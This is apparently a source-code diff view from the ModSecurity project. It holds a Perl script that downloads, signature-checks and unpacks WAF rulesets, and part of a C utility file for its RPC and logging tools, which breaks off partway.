unless ($res->is_success()) {
die "Failed to get ruleset listing \"$opt{r}/$_[0]/.listing\": ".$res->status_line()."\n";
}
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
}
sub ruleset_available_versions {
return sort sort_versions map { m/_([^_]+)\.zip.*$/; $1 } ruleset_listing($_[0]);
}
sub ruleset_fetch {
my($repo, $version) = @_;
# Create paths
if (! -e "$opt{p}" ) {
mkdir "$opt{p}" or die "Failed to create \"$opt{p}\": $!\n";
}
if (! -e "$opt{p}/$repo" ) {
mkdir "$opt{p}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
}
my $fn = "${repo}_$version.zip";
my $ruleset = "$repo/$fn";
my $ruleset_sig = "$repo/$fn.sig";
if (-e "$opt{p}/$ruleset") {
die "Refused to overwrite ruleset \"$opt{p}/$ruleset\".\n";
}
# Fetch the ruleset
print STDERR "Fetching: $ruleset ...\n";
my $res = $ua->get(
"$opt{r}/$ruleset",
":content_file" => "$opt{p}/$ruleset",
);
die "Failed to retrieve ruleset $ruleset: ".$res->status_line()."\n" unless ($res->is_success());
# Fetch the ruleset signature
if (-e "$opt{p}/$ruleset_sig") {
die "Refused to overwrite ruleset signature \"$opt{p}/$ruleset_sig\".\n";
}
$res = $ua->get(
"$opt{r}/$ruleset_sig",
":content_file" => "$opt{p}/$ruleset_sig",
);
# Verify the signature if we can
if ($HAVE_GNUPG) {
die "Failed to retrieve ruleset signature $ruleset_sig: ".$res->status_line()."\n" unless ($res->is_success());
ruleset_verifysig("$opt{p}/$ruleset", "$opt{p}/$ruleset_sig");
}
push @fetched, [$repo, $version, $ruleset, undef];
}
sub ruleset_unpack {
my($repo, $version, $ruleset) = @{ $_[0] || [] };
my $fn = "$opt{p}/$ruleset";
if (! -e "$fn" ) {
die "Internal Error: No ruleset to unpack - \"$fn\"\n";
}
# Create paths
if (! -e "$opt{s}" ) {
mkdir "$opt{s}" or die "Failed to create \"$opt{p}\": $!\n";
}
if (! -e "$opt{s}/$repo" ) {
mkdir "$opt{s}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
}
if (! -e "$opt{s}/$repo/$version" ) {
mkdir "$opt{s}/$repo/$version" or die "Failed to create \"$opt{p}/$repo/$version\": $!\n";
}
else {
die "Refused to overwrite previously unpacked \"$opt{s}/$repo/$version\".\n";
}
# TODO: Verify sig
my $pwd = getcwd();
my $unpackdir = "$opt{s}/$repo/$version";
chdir "$unpackdir";
if ($@) {
my $err = $!;
chdir $pwd;
die "Failed to chdir to \"$unpackdir\": $err\n";
}
undef $!;
system(@$UNZIP, $fn);
if ($? != 0) {
my $err = $!;
chdir $pwd;
die "Failed to unpack \"$unpackdir\"".($err?": $err":".")."\n";
}
chdir $pwd;
# Add where we unpacked it
$_->[3] = $unpackdir;
return 0;
}
sub ruleset_fetch_latest {
my($repo, $type) = @_;
my @versions = ruleset_available_versions($repo);
my $verre = defined($opt{v}) ? qr/^$opt{v}/ : qr/^/;
my $typere = undef;
# Figure out what to look for
if (defined($type) and $type ne "") {
if ($type eq "UNSTABLE") {
$typere = qr/\d-\D+\d+$/;
}
else {
$typere = qr/\d-$type\d+$/;
}
}
elsif (defined($type)) {
qr/\.\d+$/;
}
while (@versions) {
my $last = pop(@versions);
# Check REs on version
if ($last =~ m/$opt{v}/ and (!defined($typere) || $last =~ m/$typere/)) {
return ruleset_fetch($repo, $last);
}
if ($opt{d}) {
print STDERR "Skipping version: $last\n";
}
}
die "No $type ruleset found.\n";
}
sub notify_email {
my $version_text = join("\n", map { "$_->[0] v$_->[1]".(defined($_->[3])?": $_->[3]":"") } @_);
my $from = $opt{f} ? "From: $opt{f}\n" : "";
my $body = << "EOT";
ModSecurity rulesets updated and ready to install on host $HOST:
$version_text
ModSecurity - http://www.modsecurity.org/
EOT
# TODO: Diffs
open(SM, "|-", @$SENDMAIL) or die "Failed to send mail: $!\n";
print STDERR "Sending notification email to: $opt{e}\n";
print SM << "EOT";
${from}To: $opt{e}
Subject: [$HOST] ModSecurity Ruleset Update Notification
$body
EOT
close SM;
}
sub ruleset_verifysig {
my($fn, $sigfn) = @_;
print STDERR "Verifying \"$fn\" with signature \"$sigfn\"\n";
my $gpg = new GnuPG();
my $sig = eval { $gpg->verify( signature => $sigfn, file => $fn ) };
if (defined $sig) {
print STDERR sig2str($sig)."\n";
}
if (!defined($sig)) {
die "Signature validation failed.\n";
}
if ( $sig->{trust} < $REQUIRED_SIG_TRUST ) {
die "Signature is not trusted ".$GPG_TRUST{$REQUIRED_SIG_TRUST}.".\n";
}
return;
}
sub sig2str {
my %sig = %{ $_[0] || {} };
"Signature made ".localtime($sig{timestamp})." by $sig{user} (ID: $sig{keyid}) and is $GPG_TRUST{$sig{trust}} trusted.";
}
################################################################################
################################################################################
# List what is there
if ($opt{l}) { repository_dump(); exit 0 }
# Latest stable
elsif (defined($opt{S})) { ruleset_fetch_latest($opt{S}, "") }
# Latest development
elsif (defined($opt{D})) { ruleset_fetch_latest($opt{D}, "dev") }
# Latest release candidate
elsif (defined($opt{R})) { ruleset_fetch_latest($opt{R}, "rc") }
# Latest unstable
elsif (defined($opt{U})) { ruleset_fetch_latest($opt{U}, "UNSTABLE") }
# Latest (any type)
elsif (defined($opt{F})) { ruleset_fetch_latest($opt{F}, undef) }
# Unpack
if ($opt{u}) {
if (! defined $opt{s} ) { usage(1, "LocalRules is required for unpacking.") }
for (@fetched) {
ruleset_unpack($_);
}
}
# Unpack
if ($opt{e}) {
notify_email(@fetched);
}

View File

@@ -0,0 +1,454 @@
#!@PERL@
#
# Fetches the latest ModSecurity Ruleset
#
use strict;
use Sys::Hostname;
use LWP::UserAgent ();
use LWP::Debug qw(-);
use URI ();
use HTTP::Date ();
use Cwd qw(getcwd);
use Getopt::Std;
my $VERSION = "0.0.1";
my($SCRIPT) = ($0 =~ m/([^\/\\]+)$/);
my $CRLFRE = qr/\015?\012/;
my $HOST = Sys::Hostname::hostname();
my $UNZIP = [qw(unzip -a)];
my $SENDMAIL = [qw(/usr/lib/sendmail -oi -t)];
my $HAVE_GNUPG = 0;
my %PREFIX_MAP = (
-dev => 0,
-rc => 1,
"" => 9,
);
my %GPG_TRUST = ();
my $REQUIRED_SIG_TRUST;
eval "use GnuPG qw(:trust)";
if ($@) {
warn "Could not load GnuPG module - cannot verify ruleset signatures\n";
}
else {
$HAVE_GNUPG = 1;
%GPG_TRUST = (
&TRUST_UNDEFINED => "not",
&TRUST_NEVER => "not",
&TRUST_MARGINAL => "marginally",
&TRUST_FULLY => "fully",
&TRUST_ULTIMATE => "ultimatly",
);
$REQUIRED_SIG_TRUST = &TRUST_FULLY;
}
################################################################################
################################################################################
my @fetched = ();
my %opt = ();
getopts('c:r:p:s:v:t:e:f:EuS:D:R:U:F:ldh', \%opt);
usage(1) if(defined $opt{h});
usage(1) if(@ARGV > 1);
# Make sure we have an action
if (! grep { defined } @opt{qw(S D R U F l)}) {
usage(1, "Action required.");
}
# Merge config with commandline opts
if ($opt{c}) {
%opt = parse_config($opt{c}, \%opt);
}
LWP::Debug::level("+") if ($opt{d});
# Make the version into a regex
if (defined $opt{v}) {
my($a,$b,$c,$d) = ($opt{v} =~ m/^(\d+)\.?(\d+)?\.?(\d+)?(?:-(\D+\d+$)|($))/);
if (defined $d) {
(my $key = $d) =~ s/^(\D+)\d+$/-$1/;
unless (exists $PREFIX_MAP{$key}) {
usage(1, "Invalid version (bad suffix \"$d\"): $opt{v}");
}
$opt{v} = qr/^$a\.$b\.$c-$d$/;
}
elsif (defined $c) {
$opt{v} = qr/^$a\.$b\.$c(?:-|$)/;
}
elsif (defined $b) {
$opt{v} = qr/^$a\.$b\./;
}
elsif (defined $a) {
$opt{v} = qr/^$a\./;
}
else {
usage(1, "Invalid version: $opt{v}");
}
if ($opt{d}) {
print STDERR "Using version regex: $opt{v}\n";
}
}
else {
$opt{v} = qr/^/;
}
# Remove trailing slashes from uri and path
$opt{r} =~ s/\/+$//;
$opt{p} =~ s/\/+$//;
# Required opts
usage(1, "Repository (-r) required.") unless(defined $opt{r});
usage(1, "Local path (-p) required.") unless(defined $opt{p} or defined $opt{l});
my $ua = LWP::UserAgent->new(
agent => "ModSecurity Updator/$VERSION",
keep_alive => 1,
env_proxy => 1,
max_redirect => 5,
requests_redirectable => [qw(GET HEAD)],
timeout => ($opt{t} || 600),
);
sub usage {
my $rc = defined($$_[0]) ? $_[0] : 0;
my $msg = defined($_[1]) ? "\n$_[1]\n\n" : "";
print STDERR << "EOT";
${msg}Usage: $SCRIPT [-c config_file] [[options] [action]
Options (commandline will override config file):
-r uri RepositoryURI Repository URI.
-p path LocalRepository Local repository path to use as base for downloads.
-s path LocalRules Local rules base path to use for unpacking.
-v text Version Full/partial version (EX: 1, 1.5, 1.5.2, 1.5.2-dev3)
-t secs Timeout Timeout for fetching data in seconds (default 600).
-e addr NotifyEmail Notify via email on update (comma separated list).
-f addr NotifyEmailFrom From address for notification email.
-u Unpack Unpack into LocalRules/version path.
-d Debug Print out lots of debugging.
Actions:
-S name Fetch the latest stable ruleset, "name"
-D name Fetch the latest development ruleset, "name"
-R name Fetch the latest release candidate ruleset, "name"
-U name Fetch the latest unstable (non-stable) ruleset, "name"
-F name Fetch the latest ruleset, "name"
-l Print listing of what is available
Misc:
-c Specify a config file for options.
-h This help
Examples:
# Get a list of what the repository contains:
$SCRIPT -rhttp://host/repo/ -l
# Get a partial list of versions 1.5.x:
$SCRIPT -rhttp://host/repo/ -v1.5 -l
# Get the latest stable version of "breach_ModSecurityCoreRules":
$SCRIPT -rhttp://host/repo/ -p/my/repo -Sbreach_ModSecurityCoreRules
# Get the latest stable 1.5 release of "breach_ModSecurityCoreRules":
$SCRIPT -rhttp://host/repo/ -p/my/repo -v1.5 -Sbreach_ModSecurityCoreRules
EOT
exit $rc;
}
sub sort_versions {
(my $A = $a) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
(my $B = $b) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
return $A cmp $B;
}
sub parse_config {
my($file,$clo) = @_;
my %cfg = ();
print STDERR "Parsing config: $file\n" if ($opt{d});
open(CFG, "<$file") or die "Failed to open config \"$file\": $!\n";
while(<CFG>) {
# Skip comments and empty lines
next if (/^\s*(?:#|$)/);
# Parse
chomp;
my($var,$q1,$val,$q2) = (m/^\s*(\S+)\s+(['"]?)(.*)(\2)\s*$/);
# Fixup values
$var = lc($var);
if ($val =~ m/^(?:true|on)$/i) { $val = 1 };
if ($val =~ m/^(?:false|off)$/i) { $val = 0 };
# Set opts
if ($var eq "repositoryuri") { $cfg{r} = $val }
elsif ($var eq "localrepository") { $cfg{p} = $val }
elsif ($var eq "localrules") { $cfg{s} = $val }
elsif ($var eq "version") { $cfg{v} = $val }
elsif ($var eq "timeout") { $cfg{t} = $val }
elsif ($var eq "notifyemail") { $cfg{e} = $val }
elsif ($var eq "notifyemailfrom") { $cfg{f} = $val }
elsif ($var eq "notifyemaildiff") { $cfg{E} = $val }
elsif ($var eq "unpack") { $cfg{u} = $val }
elsif ($var eq "debug") { $cfg{d} = $val }
else { die "Invalid config directive: $var\n" }
}
close CFG;
my($k, $v);
while (($k, $v) = each %{$clo || {}}) {
$cfg{$k} = $v if (defined $v);
}
return %cfg;
}
sub repository_dump {
my @replist = repository_listing();
print STDERR "\nRepository: $opt{r}\n\n";
unless (@replist) {
print STDERR "No matching entries.\n";
return;
}
for my $repo (@replist) {
print "$repo {\n";
my @versions = ruleset_available_versions($repo);
for my $version (@versions) {
if ($version =~ m/$opt{v}/) {
printf "%15s: %s_%s.zip\n", $version, $repo, $version;
}
elsif ($opt{d}) {
print STDERR "Skipping version: $version\n";
}
}
print "}\n";
}
}
sub repository_listing {
my $res = $ua->get("$opt{r}/.listing");
unless ($res->is_success()) {
die "Failed to get repository listing \"$opt{r}/.listing\": ".$res->status_line()."\n";
}
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
}
sub ruleset_listing {
my $res = $ua->get("$opt{r}/$_[0]/.listing");
unless ($res->is_success()) {
die "Failed to get ruleset listing \"$opt{r}/$_[0]/.listing\": ".$res->status_line()."\n";
}
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
}
sub ruleset_available_versions {
return sort sort_versions map { m/_([^_]+)\.zip.*$/; $1 } ruleset_listing($_[0]);
}
sub ruleset_fetch {
my($repo, $version) = @_;
# Create paths
if (! -e "$opt{p}" ) {
mkdir "$opt{p}" or die "Failed to create \"$opt{p}\": $!\n";
}
if (! -e "$opt{p}/$repo" ) {
mkdir "$opt{p}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
}
my $fn = "${repo}_$version.zip";
my $ruleset = "$repo/$fn";
my $ruleset_sig = "$repo/$fn.sig";
if (-e "$opt{p}/$ruleset") {
die "Refused to overwrite ruleset \"$opt{p}/$ruleset\".\n";
}
# Fetch the ruleset
print STDERR "Fetching: $ruleset ...\n";
my $res = $ua->get(
"$opt{r}/$ruleset",
":content_file" => "$opt{p}/$ruleset",
);
die "Failed to retrieve ruleset $ruleset: ".$res->status_line()."\n" unless ($res->is_success());
# Fetch the ruleset signature
if (-e "$opt{p}/$ruleset_sig") {
die "Refused to overwrite ruleset signature \"$opt{p}/$ruleset_sig\".\n";
}
$res = $ua->get(
"$opt{r}/$ruleset_sig",
":content_file" => "$opt{p}/$ruleset_sig",
);
# Verify the signature if we can
if ($HAVE_GNUPG) {
die "Failed to retrieve ruleset signature $ruleset_sig: ".$res->status_line()."\n" unless ($res->is_success());
ruleset_verifysig("$opt{p}/$ruleset", "$opt{p}/$ruleset_sig");
}
push @fetched, [$repo, $version, $ruleset, undef];
}
sub ruleset_unpack {
my($repo, $version, $ruleset) = @{ $_[0] || [] };
my $fn = "$opt{p}/$ruleset";
if (! -e "$fn" ) {
die "Internal Error: No ruleset to unpack - \"$fn\"\n";
}
# Create paths
if (! -e "$opt{s}" ) {
mkdir "$opt{s}" or die "Failed to create \"$opt{p}\": $!\n";
}
if (! -e "$opt{s}/$repo" ) {
mkdir "$opt{s}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
}
if (! -e "$opt{s}/$repo/$version" ) {
mkdir "$opt{s}/$repo/$version" or die "Failed to create \"$opt{p}/$repo/$version\": $!\n";
}
else {
die "Refused to overwrite previously unpacked \"$opt{s}/$repo/$version\".\n";
}
# TODO: Verify sig
my $pwd = getcwd();
my $unpackdir = "$opt{s}/$repo/$version";
chdir "$unpackdir";
if ($@) {
my $err = $!;
chdir $pwd;
die "Failed to chdir to \"$unpackdir\": $err\n";
}
undef $!;
system(@$UNZIP, $fn);
if ($? != 0) {
my $err = $!;
chdir $pwd;
die "Failed to unpack \"$unpackdir\"".($err?": $err":".")."\n";
}
chdir $pwd;
# Add where we unpacked it
$_->[3] = $unpackdir;
return 0;
}
sub ruleset_fetch_latest {
my($repo, $type) = @_;
my @versions = ruleset_available_versions($repo);
my $verre = defined($opt{v}) ? qr/^$opt{v}/ : qr/^/;
my $typere = undef;
# Figure out what to look for
if (defined($type) and $type ne "") {
if ($type eq "UNSTABLE") {
$typere = qr/\d-\D+\d+$/;
}
else {
$typere = qr/\d-$type\d+$/;
}
}
elsif (defined($type)) {
qr/\.\d+$/;
}
while (@versions) {
my $last = pop(@versions);
# Check REs on version
if ($last =~ m/$opt{v}/ and (!defined($typere) || $last =~ m/$typere/)) {
return ruleset_fetch($repo, $last);
}
if ($opt{d}) {
print STDERR "Skipping version: $last\n";
}
}
die "No $type ruleset found.\n";
}
sub notify_email {
my $version_text = join("\n", map { "$_->[0] v$_->[1]".(defined($_->[3])?": $_->[3]":"") } @_);
my $from = $opt{f} ? "From: $opt{f}\n" : "";
my $body = << "EOT";
ModSecurity rulesets updated and ready to install on host $HOST:
$version_text
ModSecurity - http://www.modsecurity.org/
EOT
# TODO: Diffs
open(SM, "|-", @$SENDMAIL) or die "Failed to send mail: $!\n";
print STDERR "Sending notification email to: $opt{e}\n";
print SM << "EOT";
${from}To: $opt{e}
Subject: [$HOST] ModSecurity Ruleset Update Notification
$body
EOT
close SM;
}
sub ruleset_verifysig {
my($fn, $sigfn) = @_;
print STDERR "Verifying \"$fn\" with signature \"$sigfn\"\n";
my $gpg = new GnuPG();
my $sig = eval { $gpg->verify( signature => $sigfn, file => $fn ) };
if (defined $sig) {
print STDERR sig2str($sig)."\n";
}
if (!defined($sig)) {
die "Signature validation failed.\n";
}
if ( $sig->{trust} < $REQUIRED_SIG_TRUST ) {
die "Signature is not trusted ".$GPG_TRUST{$REQUIRED_SIG_TRUST}.".\n";
}
return;
}
sub sig2str {
my %sig = %{ $_[0] || {} };
"Signature made ".localtime($sig{timestamp})." by $sig{user} (ID: $sig{keyid}) and is $GPG_TRUST{$sig{trust}} trusted.";
}
################################################################################
################################################################################
# List what is there
if ($opt{l}) { repository_dump(); exit 0 }
# Latest stable
elsif (defined($opt{S})) { ruleset_fetch_latest($opt{S}, "") }
# Latest development
elsif (defined($opt{D})) { ruleset_fetch_latest($opt{D}, "dev") }
# Latest release candidate
elsif (defined($opt{R})) { ruleset_fetch_latest($opt{R}, "rc") }
# Latest unstable
elsif (defined($opt{U})) { ruleset_fetch_latest($opt{U}, "UNSTABLE") }
# Latest (any type)
elsif (defined($opt{F})) { ruleset_fetch_latest($opt{F}, undef) }
# Unpack
if ($opt{u}) {
if (! defined $opt{s} ) { usage(1, "LocalRules is required for unpacking.") }
for (@fetched) {
ruleset_unpack($_);
}
}
# Unpack
if ($opt{e}) {
notify_email(@fetched);
}

View File

@@ -0,0 +1,653 @@
#include "common.h"
int lock_file(char *filename)
{
int fd;
if (!filename)
return -1;
if ((fd = open(filename,O_RDONLY | O_CREAT , S_IRWXU)) < 0) {
print_error("lock_file","open",modsec_rpc_log_file,errno);
return -1;
}
flock(fd,LOCK_EX);
return fd;
}
int unlock_file(int fd)
{
flock(fd,LOCK_UN);
return 0;
}
int print_request(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask)
{
char time_str[64], line[1024*1024];
time_t t;
int fd;
int i;
switch (atoi(modsec_rpc_log_level)) {
case DEBUG:
time(&t);
ctime_r(&t,time_str);
time_str[strlen(time_str)-1] = '\0';
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
print_error("print_request","open",modsec_rpc_log_file,errno);
fd=2;
}
flock(fd,LOCK_EX);
sprintf(line,"%s:REQUEST-BEGIN:======================================\n",time_str);
line[1024*1024-1]='\0';
write(fd,line,strlen(line));
snprintf(line,1024*1024,"URL:%s\nCommand:%s\n",url,command);
line[1024*1024-1]='\0';
write(fd,line,strlen(line));
for (i=0; i<num_of_parameters; i++) {
snprintf(line,1024*1024,"%s=",parameters[i].name);
line[1024*1024-1]='\0';
write(fd,line,strlen(line));
if (i == mask) {
sprintf(line,"XXXXXXX\n");
write(fd,line,strlen(line));
} else {
if (parameters[i].value) {
snprintf(line,1024*1024,"%s\n",parameters[i].value);
line[1024*1024-1]='\0';
}
else sprintf(line,"\n");
write(fd,line,strlen(line));
}
}
sprintf(line,"%s:REQUEST-END:========================================\n",time_str);
write(fd,line,strlen(line));
flock(fd,LOCK_UN);
if (fd!=2) close(fd);
break;
}
return 0;
}
int print_request_force(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask)
{
char real_level[1024];
strcpy(real_level,modsec_rpc_log_level);
strcpy(modsec_rpc_log_level,"1");
print_request(url,command,parameters,num_of_parameters,mask);
strcpy(modsec_rpc_log_level,real_level);
return 0;
}
int print_reply(char *reply)
{
char time_str[64];
time_t t;
int fd;
printf("%s",reply);
switch (atoi(modsec_rpc_log_level)) {
case DEBUG:
time(&t);
ctime_r(&t,time_str);
time_str[strlen(time_str)-1] = '\0';
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
print_error("print_request","open",modsec_rpc_log_file,errno);
fd=2;
}
flock(fd,LOCK_EX);
write(fd,reply,strlen(reply));
flock(fd,LOCK_UN);
if (fd!=2) close(fd);
break;
}
return 0;
}
int print_error(char *func1, char* func2, char* str, int err)
{
char out[1024], time_str[64], line[1024*1024];
char str1[1024], str2[1024], str3[1024];
time_t t;
int fd;
time(&t);
ctime_r(&t,time_str);
time_str[strlen(time_str)-1] = '\0';
if (err)
strcpy(out,strerror(err));
else
strcpy(out,"");
if (!func1)
strcpy(str1,"");
else {
strncpy(str1,func1,1024);
str1[1023]='\0';
}
if (!func2)
strcpy(str2,"");
else {
strncpy(str2,func2,1024);
str2[1023]='\0';
}
if (!str)
strcpy(str3,"");
else {
strncpy(str3,str,1024);
str3[1023]='\0';
}
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
fprintf(stderr,"%s:ERROR:print_error:open:%s:%s\n",time_str,strerror(errno),modsec_rpc_log_file);
fd=2;
}
snprintf(line,1024*1024,"%s:ERROR:%s:%s:%s:%s\n",time_str,str1,str2,out,str3);
line[1024*1024-1]='\0';
flock(fd,LOCK_EX);
write(fd,line,strlen(line));
flock(fd,LOCK_UN);
if (fd!=2) close(fd);
return 0;
}
int is_proxy_up()
{
int pid;
FILE *fp;
if ((fp = fopen(modsec_proxy_pid,"r")) == NULL )
return 0;
if (fscanf(fp,"%d",&pid) == 0) {
print_error("is_proxy_up","fscanf","missing PID",0);
fclose(fp);
return 0;
}
fclose(fp);
if (!pid || kill(pid,0))
return 0;
return 1;
}
int run_cmd(char *command, char *output, int output_size)
{
char line[1024];
FILE *fp;
if (output_size > 0 && output) output[0]='\0';
if (!(fp=popen(command,"r"))) {
print_error("run_cmd","popen",command,errno);
return -1;
}
while (output_size && fgets(line,output_size>1024?1024:output_size,fp)) {
strcat(output, line);
output_size -= strlen(line);
}
if (!output_size)
while (fgets(line,1024,fp));
pclose(fp);
return 0;
}
int find_param_idx(char *parameter_name, parameter_t *parameters, int max_parameters)
{
int i, idx=-1;
for (i = 0; (i < max_parameters) && (idx < 0); i++)
if ( strstr(parameters[i].name,parameter_name) )
idx=i;
return idx;
}
int parse_file(char *filename, parameter_t *parameters, int max_parameters)
{
char line[1024], *ptr;
int i;
FILE *fp;
if (!max_parameters || (parameters == NULL) || (filename == NULL)) {
print_error("parse_file","invalid input parameters","none",0);
return 0;
}
if ((fp = fopen(filename,"r")) == NULL ) {
print_error("parse_file","fopen",filename,errno);
return 0;
}
i=0;
while ( i < max_parameters && fgets(line,1024,fp)) {
if (ptr = strstr(line,"#"))
*ptr='\0';
if (sscanf(line,"%[^=]=%s",parameters[i].name,parameters[i].value) != 2)
continue;
i++;
}
fclose(fp);
return i;
}
int change_file(char *filename, parameter_t parameter)
{
char line[1024], *name, *value;
int i, found=0;
FILE *fp;
if (filename == NULL)
return 0;
if ((fp = fopen(filename,"r+")) == NULL )
return 0;
i=0;
while ( fgets(line,1024,fp)) {
sscanf(line,"%[^=]=%s",name,value);
if (name && !strcmp(name,parameter.name)) {
fprintf(fp,"%s=%s\n",name,parameter.value);
found=1;
continue;
} else fprintf(fp,"%s",line);
}
fclose(fp);
return found;
}
int copy_file(char *src_file, char *dst_file)
{
char line[1024];
FILE *sfp, *dfp;
if (src_file == NULL || dst_file == NULL)
return 0;
if ((sfp = fopen(src_file,"r")) == NULL )
return 0;
if ((dfp = fopen(dst_file,"w")) == NULL ) {
fclose(sfp);
return 0;
}
while ( fgets(line,1024,sfp))
fprintf(dfp,"%s",line);
fclose(sfp);
fclose(dfp);
return 1;
}
int parse_query(char *query, parameter_t *parameters, int max_parameters)
{
char *ptr, *dst_ptr, num[3];
int i, len;
if (!max_parameters || (parameters == NULL) || (query == NULL))
return 0;
ptr=query;
i=0;
while ((i < max_parameters) && *ptr) {
parameters[i].name[0] = '\0';
dst_ptr = parameters[i].name;
len=0;
while (*ptr && (*ptr != '=') && (len++ < MAX_NAME_LENGTH)) {
if (*ptr == '%' && *(ptr+1) && *(ptr+2)) {
num[0]=*(ptr+1);
num[1]=*(ptr+2);
num[2]='\0';
ptr += 3;
*dst_ptr=(char)strtol(num,NULL,16);
if (*dst_ptr) dst_ptr++;
} else *dst_ptr++ = *ptr++;
}
if (len >= MAX_NAME_LENGTH)
while (*ptr && (*ptr != '='))
*ptr++;
if (*ptr) ptr++;
*dst_ptr = '\0';
parameters[i].value[0] = '\0';
dst_ptr = parameters[i].value;
len=0;
while (*ptr && (*ptr != '&') && (len++ < MAX_VALUE_LENGTH)) {
if (*ptr == '%' && *(ptr+1) && *(ptr+2)) {
num[0]=*(ptr+1);
num[1]=*(ptr+2);
num[2]='\0';
ptr += 3;
*dst_ptr=(char)strtol(num,NULL,16);
if (*dst_ptr) dst_ptr++;
} else *dst_ptr++ = *ptr++;
}
if (len >= MAX_VALUE_LENGTH)
while (*ptr && (*ptr != '&'))
*ptr++;
if (*ptr) ptr++;
*dst_ptr = '\0';
i++;
}
return i;
}
int parse_query_and_body (parameter_t *parameters, int max_parameters)
{
char *query, *content_length_env;
int i, num_of_params, body_len, content_length;
query = getenv("QUERY_STRING");
if (query && *query)
return(parse_query(query,parameters,max_parameters));
else {
content_length_env = getenv("CONTENT_LENGTH");
if (!content_length_env)
return 0;
if (! *content_length_env)
return 0;
content_length=atol(content_length_env);
if (!(query=malloc(content_length+1)))
return 0;
i = 1; body_len=0;
while ( (body_len < content_length) && (i>0) ) {
i = read(0,query+body_len,(content_length-body_len)<1024?(content_length-body_len):1024);
if (i > 0 ) body_len+=i;
}
query[body_len] = '\0';
num_of_params = parse_query(query,parameters,max_parameters);
free(query);
return num_of_params;
}
}
int parse_cli (parameter_t *parameters, int max_parameters, int num_of_args, char *args[])
{
char name[MAX_NAME_LENGTH], value[MAX_VALUE_LENGTH];
int i, num_of_params=0;
if (num_of_args > 0)
for (i=0; i<num_of_args && i<max_parameters; i++) {
if (sscanf(args[i],"%[^=]=%s",name,value) < 2)
continue;
if (strlen(name) < MAX_NAME_LENGTH)
strcpy(parameters[num_of_params].name,name);
else continue;
if (strlen(value) < MAX_VALUE_LENGTH) {
strcpy(parameters[num_of_params].value,value);
num_of_params++;
}
}
return num_of_params;
}
int send_request(char *request,char *ip,char *port,char *reply,int max_reply_size)
{
int sock, i, reply_len;
struct sockaddr_in servaddr;
reply[0]='\0';
reply_len=0;
if (!request || !*request || !ip || !port || !reply || !max_reply_size)
return -1;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons((short)atol(port));
if ( inet_aton(ip, &servaddr.sin_addr) <= 0 )
return -1;
if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
print_error("send_request","socket",ip,errno);
return -1;
}
if ( connect(sock, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 ) {
print_error("send_request","connect",ip,errno);
close(sock);
return -1;
}
i = strlen(request);
if ( write(sock,request,i) < i ) {
print_error("send_request","write",ip,errno);
shutdown(sock,SHUT_RDWR);
close(sock);
return -1;
}
i = 1; reply_len=0;
while ( (reply_len < max_reply_size) && (i>0) ) {
i = read(sock,reply+reply_len,(max_reply_size-reply_len)<1024?(max_reply_size-reply_len):1024);
if (i > 0 ) reply_len+=i;
}
reply[reply_len] = '\0';
shutdown(sock,SHUT_RDWR);
close(sock);
return reply_len;
}
int find_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips)
{
int i, idx=-1;
for (i = 0; (i < num_of_ips) && (idx < 0); i++)
if ( strstr(blocklist[i].ip,ip) )
idx=i;
return idx;
}
int remove_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips)
{
int i, j, idx=-1;
time_t t;
time(&t);
for (i = 0; i < num_of_ips; i++)
if ( (ip && strstr(blocklist[i].ip,ip)) || (!ip && (t > blocklist[i].end)) ) {
idx=i;
for (j=i; j<(num_of_ips-1); j++) {
strcpy(blocklist[j].ip,blocklist[j+1].ip);
blocklist[j].start = blocklist[j+1].start;
blocklist[j].duration = blocklist[j+1].duration;
blocklist[j].end = blocklist[j+1].end;
strcpy(blocklist[j].token,blocklist[j+1].token);
}
num_of_ips--;
}
return idx;
}
int read_conf_file (char *filename)
{
int idx, num_of_params;
parameter_t parameters[MAX_PARAMS];
num_of_params=parse_file(filename,parameters,MAX_PARAMS);
if ((idx = find_param_idx("MODSEC_CLI_HOME",parameters,num_of_params)) >= 0)
strcpy(modsec_cli_home,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_HOME",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_home,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_LOG_FILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_log_file,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_LOG_LEVEL",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_log_level,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_SSL_LOCKFILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_ssl_lockfile,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_SENSOR_LOCKFILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_sensor_lockfile,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_REVERSEPROXY_LOCKFILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_reverseproxy_lockfile,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_EXTERNALNIC_LOCKFILE",parameters,num_of_params)) >= 0)
